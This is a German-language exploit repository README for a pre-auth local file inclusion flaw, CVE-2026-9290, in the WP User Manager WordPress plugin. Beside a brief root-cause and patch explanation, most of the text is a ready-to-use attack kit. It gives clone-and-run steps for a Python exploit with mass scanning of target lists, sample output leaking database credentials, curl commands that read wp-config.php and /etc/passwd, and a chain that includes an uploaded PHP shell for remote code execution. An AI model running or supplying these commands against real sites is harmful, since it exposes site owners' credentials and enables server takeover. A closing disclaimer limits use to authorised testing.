
Pre-auth Local File Inclusion in WP User Manager <= 2.9.17 via path traversal in tab parameter (CVSS 7.5)
CVE-2026-9290 ist eine hochriskante (CVSS 7.5) nicht authentifizierte Local File Inclusion-Schwachstelle im WP User Manager – User Profile Builder & Membership WordPress-Plugin (≤ 2.9.17).
Die Funktion wpum_get_active_profile_tab() übergibt den tab-Abfrageparameter direkt an den Gamajo-Template-Loader ohne Whitelist-Validierung. Pfad-Traversal-Sequenzen im tab-Wert ermöglichen nicht authentifizierten Angreifern, beliebige Dateien vom Server über PHP's include() einzubinden.
| WP User Manager Version | Status |
|---|---|
| ≤ 2.9.17 | Anfällig |
| ≥ 2.9.18 | Gepatcht |
In includes/functions.php nimmt die Funktion wpum_get_active_profile_tab() den tab-Abfrageparameter ohne Whitelist-Validierung entgegen:
// Vulnerable: no whitelist check on $tab value
$tab = isset($_GET['tab']) ? sanitize_text_field($_GET['tab']) : 'profile';
wpum_get_active_profile_tab($tab);
Der Wert wird an Gamajo_Template_Loader::get_template_part() übergeben, das die Vorlagendatei auflöst und einbindet:
// class-gamajo-template-loader.php line 226
include($template_path . $tab . '.php');
sanitize_text_field() entfernt KEINE Pfad-Traversal-Sequenzen. ../../../wp-config wird durchgelassen.
GET /profile/?tab=../../../wp-config
→ wpum_get_active_profile_tab('../../../wp-config')
→ Gamajo_Template_Loader::include('../../../wp-config.php')
→ wp-config.php included → DB credentials exposed
PR #445 fügt Whitelist-Validierung hinzu:
// Patched: check against registered tabs
if (!array_key_exists($tab, $registered_tabs)) {
$tab = 'profile'; // fallback to default
}
git clone https://github.com/shinthink/CVE-2026-9290.git
cd CVE-2026-9290
pip install -r requirements.txt
# Single target — LFI probe
python cve_2026_9290.py -t target.com
# Mass scan
python cve_2026_9290.py -f targets.txt -v
# Read specific file via LFI
python cve_2026_9290.py -t target.com --read "../../../wp-config.php"
# Save results
python cve_2026_9290.py -f targets.txt -o lfi.txt
-t, --target Einzelnes Ziel (Domain oder IP)
-f, --file Zielliste, eine pro Zeile
--read PATH Eine bestimmte Datei via LFI lesen
-o, --output Ergebnisse in Datei speichern
--threads Arbeiter (Standard: 25)
-v, --verbose Ausführliche Ausgabe anzeigen
$ python cve_2026_9290.py -t target.com -v
CVE-2026-9290 — WP User Manager LFI → RCE Exploit
CVSS 7.5 | Pre-Auth | Path Traversal via 'tab' Parameter
[+] WP User Manager detected
[+] Profile page: /profile/
[+] LFI confirmed: wp-config.php (DB credentials)
[+] Content preview: define('DB_NAME', 'wordpress_db'); define('DB_USER', 'admin');
Host : target.com
WPUM : YES
LFI : YES
File : wp-config.php (DB credentials)
Time : 3.2s
[LFI] target-1.com 3.2s wp-config.php (DB credentials)
define('DB_NAME', 'wp_db'); define('DB_USER', 'root');
[LFI] target-2.com 4.1s wp-config.php (DB credentials)
define('DB_NAME', 'site_db'); define('DB_USER', 'admin');
[200/5458] 3% | WPUM:12 LFI:5 | current-target.com
Schritt 1 — WP User Manager erkennen
curl -sk 'https://target.com/wp-content/plugins/wp-user-manager/readme.txt' | head -3
Schritt 2 — Profilseite finden
curl -sk 'https://target.com/' | grep -oP 'href="[^"]*(?:profile|account|dashboard)[^"]*"'
Schritt 3 — LFI über tab-Parameter
# Read wp-config.php
curl -sk 'https://target.com/profile/?tab=../../../wp-config'
# Read /etc/passwd
curl -sk 'https://target.com/profile/?tab=../../../../../../../etc/passwd'
# RCE — include uploaded PHP shell
curl -sk 'https://target.com/profile/?tab=../../../wp-content/uploads/2026/07/shell'
1. LFI → wp-config.php auslesen → DB-Anmeldeinformationen erhalten
2. PHP-Shell über einen anderen Plugin/Media-Endpunkt hochladen
3. LFI → hochgeladene Shell einbinden → RCE
NUR FÜR BILDUNGS- UND AUTORISIERTE TESTZWECKE.
Diese Software ist für Sicherheitsexperten bestimmt, die autorisierte Penetrationstests durchführen, Organisationen, die ihre eigene Infrastruktur auditieren, und Forscher, die Schwachstellenausnutzung untersuchen.
Unbefugter Zugriff auf Computersysteme ist illegal und kann verstoßen gegen:
- Vereinigte Staaten: Computer Fraud and Abuse Act (18 U.S.C. 1030)
- Indonesien: UU ITE Pasal 30 & 46
- Europäische Union: Richtlinie 2013/40/EU
- Vereinigtes Königreich: Computer Misuse Act 1990
Die Autoren übernehmen keine Haftung für Missbrauch.
| Ressource |
|---|
Dieses Projekt ist nicht mit WP User Manager oder Carbon Fields verbunden.
| Datei | Zeile | Rolle |
|---|
includes/functions.php | #L955 | wpum_get_active_profile_tab() — keine Whitelist |
templates/profile.php | #L52 | Bereich des Profil-Templates |
class-gamajo-template-loader.php | #L226 | Unbereinigtes include() |
| Link |
|---|
| GitHub Advisory | GHSA-83v9-496w-54wx |
| Wordfence Advisory | wordfence.com |
| Patch PR | GitHub #445 |
| IONIX Analysis | ionix.io |